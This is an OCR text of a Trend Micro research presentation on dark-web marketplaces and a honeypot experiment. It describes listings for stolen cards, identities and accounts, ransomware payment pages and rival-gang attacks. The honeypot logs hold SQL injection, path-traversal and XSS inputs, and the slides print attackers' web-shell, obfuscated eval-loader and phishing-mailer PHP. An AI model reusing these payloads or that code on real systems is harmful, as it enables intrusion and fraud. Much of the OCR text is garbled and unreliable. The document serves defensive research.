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The Dark Ecosystem

Cesidian Root

Cyberterra Mean Time
Saturnday 22 Kurosawa 2015 @ 535

Qio

name.s ace

the “dot everything people” since 1996

Rogue TLDs

e Cesidian Root
* OpenNIC
* NewNations

Dark Nets

* TOR
* |2P

* Freenet

<

Custom DNS

* Namecoin

* Emercoin

eceeee
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A perfect platform for Cybercrime




Our Investigative System:

timestamp:[2015\-01\-01 TO 2015\-12\-31] AND title:marketplace

Collected Data

Source

Scouter

TOR Gateways

SPN data

2P Registries
Reddit
Pastebin
manual

Twitter

# events/hour
13

928

129

104

55

1

12,685

Website breakdown

10 ¥ |records per page Last month

Hostname

© | hss3uro2hsxfogfg.onion

© | yfka3g2webemzg2z.onion

# events/day
13

928

3,415

104

2,805

27

12,685

7

total events
23,103,904
2,211,114
1,492 602
890,699
17,728
16,665
12,685

443

v [JActive [JInactive [CMalicious

first seen

2014-06-06, 16:09
2015-05-08, 12:00
2013-11-12_18:29
2015-05-08, 15:58
2015-05-07, 20:03
2013-11-19, 15:32
2016-02-09, 17:05
2015-05-08, 20:00

Search:

# URLs,

last seen

2017-07-01, 00:13
2017-10-04, 00:02
2017-10-04, 12:20
2017-09-30, 00:00
2015-10-12, 1414
2015-05-11, 07:48
2016-02-09, 17:19
2016-04-01, 21:09

First seen

20170517
06:30:03

2017-02-31
00:02:27

Search

Last seen

2017-10-04
00:02:37

2017-10-04
00:02:06
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https://deepweb-portal.dcos.ftr.sdi.trendmicro.com/

Our Gateway to the Dark Internet

Privoxy +
TOR Squid transparent proxy
anonymizer

Polipo + 12P: i
Ve é% Custom DNS resolver (DNSMASQ)
instances . FREENET

Namecoin

DNS rogueTLD DNS

Cesidian
root

Opennic  NameSpace
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Data Exploration

HAR Log
Bitcoin Page
WEIES DOM
W Headless W
browser
W“

>
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Headless Browser

® Scrapinghub's Splash

 QTWebkit browser, Dockerized, LUA scriptable
 Full HTTP traces

@® Crawler based on Python's Scrapy +

multiprocess + Splash access

* Headers rewrite
* Shared queue support
* Har log -> HTTP redirection chain

® Extract links, emails, bitcoin wallets

{copbemotion}




Data Analysis

ClassSITICatio

e Surface Web links

* Classification and
categorization

* Language detection
* Non-English to English

* Semantic clustering
* Custom algorithm

p—
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Significant Wordcloud

Page text Scrap text from HTML, clean up, strip spaces, etc «<— |xml
Create list of (word, frequency) pairs
Keep only substantives
. = = : " ” 2
How “far” are words from one anothers
S Te Group similar words
clustering
" S Label clusters, sum frequencies
and popularity

Wordcloud

Weeielelel Draw using summed frequencies <—
(pillow)
= e (conematian)

NLTK.wordnet




The Dark Portal

General information

Title MpaBuna — Peructpauus — Russian Russian Silkroad ﬁ = {&
Silkroad AHOHUMHAR aBTOMaTUYECKan TOProBas MNIoWanka
®opym [Mpasuna Peructpaums Bxoa
Page 3707080(:0d991 34678d68d61 1 bdee86f Bbl He Bownw. MoXanyicTa, BOMAUTE AW 3aperucTpupymnTecs.
MD5
HoBsocTu
Page 6911 : :
Futurama - Bender's Game. Yrafiait Kypc 6UTKOMHa ¥ MOAYy4M NpU3 OT MarasuHa!
size

Kushmann's Ganja - Mockea - LLinwku Royal Canadian Haze - oavH 13 niobumelx coptos Snoop Dogg u Dr. Dre. FoToBbIe KNaasl B LeHTpe MocKBbl.
Night City Light's - MockBa - AM¢eTaMuH. FoToBbIE KNaabl.

BHuMaHue - Mpurnawaem npoaaeos MAB ¢ Ka4eCcTBEHHLIM TOBapoOM. [INA Tex, KTo yxe paboTaeT Ha Apyrux NIoWaAKax, cneunansHele yciosus. Mo sonpocam
OTKPbLITUA MarasvHoOB NUWMTe B An4Ky RuSilk

Wordcloud (Top 20 words)
MOSCOW

Russian Silkroad - Peructpauus - Npasuna

russian

Peructpaums Ha Russian Silkroad

Ans peructpayuu HEeobX0AUMO COrNacuTbCA C npasunamu opyma Huxe.

Mpasuna pecypca
service
news - DopyM 1 ero cepeuck! NoNHOUEHHO paboTaioT 6e3 ucnonb3osaHus JavaScript.

N

V. 'S -

MpoaaxKu NPoM3BOAATCA Yepe3 CUCTEMy aBTorapaHTa, Tpebyire or np eé uc Dns nokynatenew ycnyra 6ecnnatHa.

admini‘st’ration Bootstrap

DaHHbIR pecypc npeaHasHayeH ANA NOKYNKW,Npoaaxu nobeix TOBApoOB, KpOMe ABHO 3anpeLlleHHbIX.

| Mpy NOMOLLK NAPTHEPCKOI NPOrpaMMbl 1060M YHACTHUK pecypca MoXeT 3apabaTeiBaTh Ha NPUBAEYEHUM NOKYNaTenewn, Noay4as 8 nocNeAcTBUM MPOLEHT C

KaX/10/1 COBEPLUEHHOM MOKY MKW NpUB/EYEHHbIM pethepanom.

ready
seller

3anpeuweHo

. PazxuraHue MeXxHauuoHanbHOW BPaX Abl.

1
registrati le S
ol

m customer

. BbIHOC UH(hOPMaLIMKM U3 3aKPbITLIX pa3aenos (hopyma.

Monutuka e nobom ee nposBneHun.

. MoneITKu NpoAaxu oaHoro MAB NoA BUAOM APYroro.

. OcTaeneHue oT3biB0B 63 peansHO NOKYNKK Yepe3 TOProsyio CUCTEMY NOWAAKN.

. Perucrpauus NpoBOKaLMOHHBIX, @ TAKXKE CXOXUX C HUKaMU aAMUHUCTPaLIUKA U APYrUX NoNb30BaTenei. .a ueN
. OckopbneHue apyrux nons3osaTenei. MposoUWpoBaHue pyranu (Tponoso B Mobeix BapuaHTax). l

. ObcyxxaeHve AefCTBU aAMUHACTPALIUM Pecypca U ero Npasun.

© N O UV & W N H

Toproens paspelieHa BceM, Kpome:
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Examples
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|[dentities and Passports

6 Identity Scans from Iraq

REPUBLY

‘ —

EUROOPAN UNIONI
EUROPEISKA UNIONEN

Iraq - 6 scans, all are passport scans These 6 scans are
part of my Mega Scans Pack, to just buy these 6 scans
order here. To buy the Full Mega Scans Pack Which

Includes these scans and mani other scans io to -
Sold b - 0 sold since May 31, 2016
@ Trust Level 4

Feature Feature

Product class Digital Origin country Worldw

et Quantity left UnlimitShips to Worldw

PA SR R Ends in Never Payment Escrow
PASS el |

e Default - 1 days - USD +0.00 / item ~|

Purchase price: USD 2.00

o

PASSPORT 0.0034 BTC

L\ I |ut|0n}




Credit Cards

SN e
PR pE R plas Bdals
P <on
P S g R L
S e A Sl
¥y
AR A R S B
Al o

Full Name
Credit Card Number : s = = st
cvc SRR

Expiration Date : 092016

Full Name = eweerms
Credit Card Number »
cve
Expiration Date : 042016

Narme
Emailyw cmmE = =
Phone —————
Username - s
CreditCard: TS S
Expiration:10/14
Code ™=
Address
State Il
Country:USA
Zip. -~

Credit Card Number = S s
Exp Date: 09 /2017
Card type: VISA
PIN
CVV. ==

Streot
CRy el
State: IL

From $6.99 % MIDDLE EAST %
sniffed CVV2 cards (ISRAEL,
RICH ARAB countries) [100%
working]

| have some freshly sniffed CVVs from Middie East states:
% ISRAEL % and RICH ARAB countries % % SAUDI
ARABIA % UNITED ARAB EMIRATES (UAE) %
LEBABON % % QATAR % BAHRAIN % KUWAIT % Note
that they are not phished, but sniffed, so they will work
100%! The pricing is as follows:

$6.99 DEBIT ELECTRON VISA CLAS...

=) Sold - 24 s0ld since Mar 28, 2016 (Y

Feature Feature
Product class Digital Origin country Worldw
Quantity left 7 temsShips to Worldw
Ends in Never Payment Escrow

$6.99 CLASSIC/STANDARD, DEBIT ELECTRON - 1 d;‘

Purchase price: USD 0.00

oy

00 BTC

Description Bids Feedback Refund Policy

Product Description

| have some freshly sniffed CVVs from Middle East states:

% ISRAEL % and RICH ARAB countries %

% SAUDI ARABIA % UNITED ARAB EMIRATES (UAE) % LEBABON %
% QATAR % BAHRAIN % KUWAIT %

Note that they are not phished, but sniffed, so they will work 100%!

The pricina is as follows:

)DEMOtIoN}



Accounts, e.g. Israeli Paypal

We get new lists every day!
80%+ working guarantee, we will replace if more than 20% dont work!

adeil et Sl Alr e |

Product Cule w3beall

adlidl o g il audilpunl Luas g audiiluw! Jlob wllues wollas
100 PayPal accounts || 100 USD = oVl aws Cluadl Ly | aolgll Cluall) ueSi S2.5 jmun Juasr UaSile ol loiiins JuaV1 o, 0l Lo LI

colaanl) $1 i saliy Jaisn UKoV ol dojiiins JeaVl 5,0l ola 1512
100 Ebay accounts 100 USD =

wa'J,’,’|).,vw|e.b’o)ou,Lu’

100 CCs with CVV2 150 USD = - 48,18 Claodas glacle samull gensle plo sl

padaadl aJl Gl srasug ol o




Cashout services

Country/
Region

Seller Iltem

Purchase Method

Egypt

Jordan

Iraq

MENA

MENA

Sony Xperia Z2 D6503
Apple iPad mini Retina

Samsung 8-piece

Surround Sound System

10 Pieces Samsung
Galaxy S8 64GB

5 Pieces Apple
iIPhone 7 Plus 32GB

BTC
Amazon Gift Card

Escrow, BTC

BTC, credit card

BTC, credit card

$210-250
$125

$450
(including shipping)

$6,000

$2,600

{copemotion}



Bulletproof Hosting Providers

DS pee) vl
CGl § PERL | PHP iy by b ovld s Sl (S s SO ugpw % L
Al e B ek & vana U Spib 9 98l U SUje Y Al e s
Ju UnS J gl e Lo o Kl iy 0 0S8 ags Ly o S g

el epad Al e Aed WY B U Gagaw vy A8 e ela] paned S ¢
28 A sl
s e« |, PHP ks S g And FosS Ju s (iR

m Ub’m,\n&‘.” .

195D wau'\D
Sl wol J el 3 I Con Sy e ) e Wl i S ’

b i Vet Gue pla Lo clas 39 0 ol ol et § Candd Lo 000 195 ‘ Canian A aar WLy By tla Syl S @
~ S NMla e

!M\Mwﬂﬁ“ﬂ\-‘,—
‘ 1 58 Lpans Jole mins 3 band @1 ¢

2 walane PHP S e Jlaul JSal e
el cd Claus W Ll g i b
B> )|

e W gin ) 380 30 Sy ©
o et SbS gl €
SR & wal Joy 80 0 Jigu €

o ol S8,y

279 B sisal ) wn) 5 e i S 1 J ey ] sl S
3 S g J iy 3 vy Olee B e W g oy o Sla )
y BUE el Slealn Lo » velas! g W) SHW BST A8 an
iy 9 Sipids w5 10aS Culsias M s canldd UL Luad 50 | e
38 suge s SlaS 8 o, el Sl g uuad § S




Impact on organizations

® Dark Web traffic is difficult to be detected by
traditional systems (IDS)

® Resilient and stealth malware

@® Persistence and monitoring (APT)

{copbemotion}




Ransomware

@® TorrentLocker, i.e. variant of CryptoLocker

® Payment page hosted in TOR

wzaxcygroduouk5n.onion/axdf84v.php/user code=gz1n2i&user pass=9019
wzaxcygroduouk5n.onion/o2xd3x.php/user_code=8llakO&user pass=6775

. Ca S h O Ut VI a B |TCO | N S Crvpntol ocker Buy Decryption  Decrypt Single File FAQ Support

Buy decryption and get all your files back

/ Buy decryption for 640 AUD before 2015-10-13 19:16:06
OR buy it later with the price of 1280 AUD
Time left before price increase: 120:00:00

Current price: 1.941408 BTC (around 640 AUD)
Paid until now: 0 BTC (around 0 AUD)

Remaining amount: 1.941408 BTC (around 640 AUD)

e
P



Keylogger

Sum of hits

odin74tcwkfs2jwf.onion: Top 0 u...

z3mm6cupmtw5b2xx.onion: Top ...

500

400

300

200

100

500

400

300

200

100

Mewspy keylogger

Legend ©
® xu

® xd

\_é A./\,\._

2015-05-01 2015-06-01 2015-07-01 2015-08-01 2015-09-01 2015-10-01

timestamp per day
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Organized Attacks

B Utvsal Marshat T (UNT) Alumian

]

Merhaba arkadagiar, Ulusal Harekat Timi ekibimiz icin asistan alimy yapacadez beliril bir kontenjan yoktur fakat ax olacak 82 olacak
biimenizi isterim yetenedinize glveniyorsana, kendinizi SiberHarekat i¢inde kantiadiysana, misyonumuza uyabllecedinizl diglinlUyorsamaz,
operasyonlarda faydal olabilecedinizl hissediyorsan kurallanmon ¢ijnemeden dodgru bir yoneticl aday) olacagmun dlgUnUyorsana

bizimie olabilirsiniz.
Yag seruny 15'dir istisna olarak duruma gire 14'de kabul edilebilir, agadidak] bagvuru formunu eksiksiz ve net bir gekilde doldurup Meratix
Isimil Yoneticiye{bana) Sxel mesaj yoluyla “Bagvuru™ baghds lle ginderiniz iUtfen alakasaz bagliklar yarmayn dostiarnm.

Gar: Buigier
Uyeoix tarih

Korular
Mosaiar

ENy Togosilr
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We simulated a
cybercrimina
installation in the

Dark Web
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Honeypot Technology

\/. Misconfigured Server

Black Market

\/

osting Provic

er

nderground

(FTP/SSH/IRC)

-orum

. Wordpress + Shells
. OsCommerce

|. Custom Web App
\/. Custom OS (Linux)

{copemotion}




A private forum for
our VIPs

Login ——

...................................

.........................

VIP Forum

Home

What do you want to know more, it is here. We

are more than just a forum, we are a community.

Our member's privacy is our highest priority.
Unless you choose to reveal it, we work hard to
keep it anonymous.

Please contact us with your reference for registration
by

About us

We are a community
that shares any kind of
information, and by
any.

anything!




Registration-Only Forum

m e

24 Mar 15:46 2K = Please
24 Mar 15:43 19K (= Request
21 Mar 01:18  2.7K a part

21 Feb 2017 2.9K Registration

7 Feb 2017 14K = registration

5 Feb 2017 13K B= Registration

27 Jan 2017 1.6K Registration vip Forum
24 Jan 2017 1.9K (No Subject)

15 Aug 2016  3.9K Inscrigdo

13 Aug 2016  1.6K (= Fresh Blood

28 Jul 2016 3.3K VIP Forum

i
!

19 Jul 2016 5.1K (No Subject)

) 4

Hi , bro im new on tor .... b4 i use |fEII'UITI5 carding , han:kingﬂ.. omerta ,
infraud ecc . i want to become member in your forum .
thx i wait permision to become member ...

{copemotion}




Exposes a Local File Inclusion

ofjakzynjlip2.onion/index.php?p=foo

|

VIP Forum

Warning: include(foo.page.php)
[function.include]: failed to open stream: No
such file or directory in lvariwwwlindex.php on
line 18

Warning: include() [function.include]: Failed
opening foo.page.php’ for inclusion

(include _path=".") in lvariwwwlindex.php on line
18

{copbemotion}




A 7-months experiment

® Month 1: Different advertisement strategies to honeypot #1

160,00 160.95 |
. I
{ Torzweb Flitering Average of 1.4 malicious
140.00 uploads per day

£ 120.00
(]
3
O
2 100.00
7 mCMS #1
Q 80.00 m CMS #2
= CMS #3
o  60.00
® 43.74

40.00

9.80 9657
20.00 — 033
0.00

June July August  September {copemotion)
pr N -




Manual VS Automated Attacks

® Pre-installed web shells attracted the most of “visitors”
® CMS #1-2 reached via Google Dorks (on Tor2Web), CMS #3 no because custom

® CMS #2 reached via TOR’s search engine’s query “Index of /files/images/”
(http://hss3uro2hsxfogfg.onion)

CMS #1 CMS #2 CMS #3
(OsCommerce)  (Shells & WordPress) (Custom Vuln.)
Tor2web 115 (8 days) 1,930 (23 days) 0
TOR 0] 2,146 (79 days) 689 (5 days)
e ‘
# Attacks
# Days with Attacks

{copbemotion}




Traditional Web Attacks

C g:Message:
P [Tlle “fuqr;qhare;modqe{urlty {rq;hdqe rules/modsecurity crs 40 generic s.conf"] [line
221“] [id "958700"] [rev "2.2.0"] [msg "Remote File Access Attempt"] [data "/etc/"] [severity "CRI
TICAL"] [tag "WEB /FILE INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP TOP 10/A4"] [tag "PCI
/6.5.4"]

darkweb3/30 06 16 extra2/log/apache2/modsec audit.log:Message: Pattern match "(fromcharcode|alert]
eval)\\s*\\ (" at ARGS_NAMES ‘q{rlpt‘alertllj’ISEFIPtb. [file "/usr/share/modsecurity-crs/base rule
s/modsecurity crs 41 xss s.conf"] [line "646"] [id "973307"] [rev "2.2.0"] [msg "XSS5
Detected"] [data "alert("]

darkweb3/04 08 16/log/apache2/modsec audit.log:Apache-Error: [file "mod cgi.c"] [line 209] [level
3] PHP Hdrnlng include() [<a href='function.include'>function.include</a>]: Failed opening 'cont
act&quot; or (1,2)=(select*from(select name const(CHAR(11l1,108,111,168,111,115,104,101,114),1),nam
e const(CHAR(111,168,111,1068,111,115,104,101,114),1))a) -- &quot;x&quot;=&quot;x.page.php' for inc
lusion (include path='.:') in /var/www/index.php on line 18

darkweb2 ’24 07 16/log/apache2/modsec audit.log:GET /axis2/services/Version?xsd=../
Soofo 0 fetc/passwd HTTP/1.1

darkweb?2 24 07 16/log/apache2/modsec audit.log:GET /pdf.php?module=l&pdf=../../..
Aol /.. /.. Jetc/passwds00 HTTP/1.1

{copemotion}




Password-protected Shells

//PASSWORD CONFIGURATION

@$pass = $ POST['pass'];
$chk_login = true:
$password = "ha i

//END CONFIGURATION

if($pass == $password)

{

¢ SESSION['nst'] = "$pass";
}

if($chk login == true)
{
1f(!isset($ SESSION['nst']) or $ SESSION['nst'] != $password)

{

die("

{copemotion}



Smart use of Obfuscation

if(!function exists("TC9A16C47DABEEES8T")){function TCO9A16C47DABEEEST (

5TO59EC46CFE335260) {$TO59EC46CFE335260=basebd decode($TOS9EC46CFE33526

3);$TCIAL16CATDABEEEST=0; $TATFBSBOALCOEZEYE=0;$T17D35BB9DF7A4TE4=0; $T65

CE9F6823D588A7=(ord ($TO59EC46CFE335260[1] )<<8)+ord($TO59EC46CFE335260 [

2]1);$TBF14159DC7D0OO7D3=3;$T/7605D5F26DD5248=0; $T4A747C3263CATAS5=16;3$T

JCJ/E72BB9BB3E235="";$TOD47/BDF6FDADDE2E=strlen($TO59EC46CFE335260) ;$T43

)5686285035C13=_ FILE ;$T43D5686285035C13=file get contents($T43D5686

285035C13) ; $TeBBC58A3B5B11DC4=0;preg match(baseb64 decode("LyhwcmludHxz

HIpbnR8ZWNobykv") ,$T43D5686285035C13, $T6BBCS8A3B5B11DC4 ) ; for(;$TBF141

>9D0C7D007D3<$TOD47BDF6FDODDE2E; ) {if(count ($T6BBC58A3B5B11DC4) ) exit;if

($T4A747C3263CATAS5==0){$T65CE9F6823D588A7=(ord($TO59EC46CFE3352601$TB

=14159DC7DPE7D3-$g8a75ba3="\142\141\x73\x65466\64\137\ 144\ x65\x63\x6 T\ 144\ x65" ; @eval ($g8a7dba3 (

=141590C7D00703-"Ly90Tm50K0s5anZhMLoxVGLCYmoyMU9mMR jhQK2dUYK4rSz LXYWIGYWs0aD11dVM1cV1jdoJPcDBKd2

3){$TCOA16CA7DAZAUZ55Q1IMcVFjdnJueTRRYTNERLLYSWZ0Zy9BRGE2Y2Y2Lzlwenp2d@LhV1hxYXVNNDNUbWZSRTF3U

1) : $TC9A16C47DALhSWEI2NZIVQVdgQm8riwD1Ue j FWcDZzU1ZzL31SN3pudHRGam9KMHpJOTVBSVY rYV1Jc1dQZCavVZexD

)+ if ($TCOA16CA7IAMIrUIUSTOFaVIRVUDhPA1d2ZG5NdXFLIRTdsZmVtWnk5MYIvd213TjBxSUg4TzRKTU9YUBLhcOxYMjg
AMNVKbUSpalh0K2hzbTEvYmNYajFnU2pCc3ZpUDdYbWt55 L kwOWFiTXFtbVRURmhjUnFwdTR1clFjZz
U4Zk42YUFhWELSbOR1IWDFzRV1IORTZYdOgwOGFINmIiLlOwzViVKYVRXQWhnK3RECVdDZXIpcEI2ZMKVLQ
loxcOx1ZKkhVK2xwMHhwMmOYcUp6Q1RzMDdvdWVIQkclaC9QeHgzTDNnRUtgdUtnUKZpOVAWWXK2M1VE
M2RGSHRxUUdpdUVoOXJuQmhXTEXxWL2JUVUXZNIVLY1VkcINHV2Rs ZFhWK29CSTZZcnNXMCtBb3VZUXh
jNLVCaEVBZzFLUESpMUprT3FzRWIPQXdTNjdFNXFGOEZIOXBxNmInWFFyd3VyVGRLQLhWZTNoTjVPQk

LVzVEB3YmVvalNEeVE3QTZQZV11TWh65jI1d05hSUdVM1p20FdXdOVQSEW4RUZIQy9mYmRsSFptY2tx
czI1INzh5UjVxUGLtRnRESOV2QLLyWFNFTHUZRVBWN29JWUNZcn1lGYE9BVFEOK1BIcDY rKzU3V3IWTHd

{copemotion}



Abuse of Tor for Anonymized Attacks

TOOLS SPAM AND HACK

f @

—)

Submit



Anonymized) Phishing Campaign

= SMTP & OTHER SETUP

Select Sender Name Select Sender Email

@ Encode Headers

<?php echo $emaillist;?>

<?php echo $nama;?> <?php echo $email;?>

Select Email Subject

<?php echo $subject;?>

# Encode

Sfoglia... | Nessun file selezionato.

>Select Encoding

<?php echo $pesan;?>

----------------------------- 20032321963615
Content-Disposition: form-data; name="realname”

Start Spam  Next send after 3 (second) | Reconnect After ?php (emalls) ---------------------------- 20032321963615
Content-Disposition: form-data; name="subject

Your account has been Iimited until we [IEEly Trom you
----------------------------- 29&32321963615
Content-Disposition: form-data; name="message"”

ok bbb Motion}




Rival Gangs

Hacked[+] By

We Hack This Site To Inform About “Vulnerability OF Your Site [+]

four Security.A Bio Yulnerability Found At Your Site [+]
al de tu servidor, tu hidden_serwvice en TOR esta mal configurado [+]

e Cyber-criminal gangs
compromising opponents

* Self-promoting their
“business”

|.onion"=Domain=</::



(TOR Keys)

® Used to compute the hidden service descriptor

Instruction
Points

Instruction
Points L
» XYZ.onion
Public
. Key »
Publlc-p
Key
Signing
Keypair R
Generation Private Key ‘

{copemotion}




HS” Private Key theft

[21/Aug/2016:20:58:29 +0200] "GET / HTTP/1.1" 200 1096 "-" "Go 1.1 package http"
[22/Aug/2016:07:03:01 +0200] "GET I HTTP/1.1" 200 1096 "-" "curl/7.47.0"
[22/Aug/2016:20:50:22 +0200] "GET / HTTP/1.1" 200 1096 "-" "Go 1.1 package http"
- [22/Aug/2016:06:51:40 +0200] "GET / HTTP/1.1" 200 1@96 -" "Go 1.1 package http"
[22/)an/2017:14:11:51 +0100] "GET / HTTP/1.1" 200 1095 "-" "Mozilla/5.0 (Windows NT 6.
[22/)Jan/2017:14:21:28 +0100] "GET / HTTP/1.1" 200 1095 "-" "Mozilla/5.0 (Windows NT 6.
[22/]an/2017:14:26:57 +0100] "GET / HTTP/1.1" 200 1095 "-" "Mozilla/5.@ (Windows NT 6.
[22/]Jan/2017:14:49:18 +0100] "GET / HTTP/1.1" 200 1095 "-" "Mozilla/5.@ (Windows NT 6.
[23/Jan/2017:22:00:16 +0100] "GET / HTTP/1.1" 200 1095 "-" "Mozilla/5.@ (Windows NT 6.
[24/Jan/2017:15:01:53 +0100] "GET / HTTP/1.1" 200 1095 "-" "Mozilla/5.@ (Windows NT 6.
[24/Jan/2017:18:11:35 +0100] "GET / HTTP/1.1" 200 1095 "-" "Mozilla/5.@ (Windows NT 6.
[24/Jan/2017:18:12:46 +0100] "GET / HTTP/1.1" 200 1151 "-" "Mozilla/5.@ (X11; Ubuntu;
: :18:17:28 "GET HTTP/1.1" 200 1095 "-" "Mozilla/5.0 (Windows NT 6.

® 400+ attacks
® MiTM, hijack and decryption
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Lessons Learned

® Dark Web as “corner case” of the Internet... NO!

@® Active and Dynamic Underground Market
® Motivated and Knowledgeable Attackers

® Manual and Targeted Attacks
® Modern and Sophisticated Threats
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*With the cooperation of Mayra
Rosario and Vincenzo Ciancaglini

Thank You!

Dr. Marco Balduzzi®
Senior Researcher at Trend Micro
@ http://www.madlab.it @embyte
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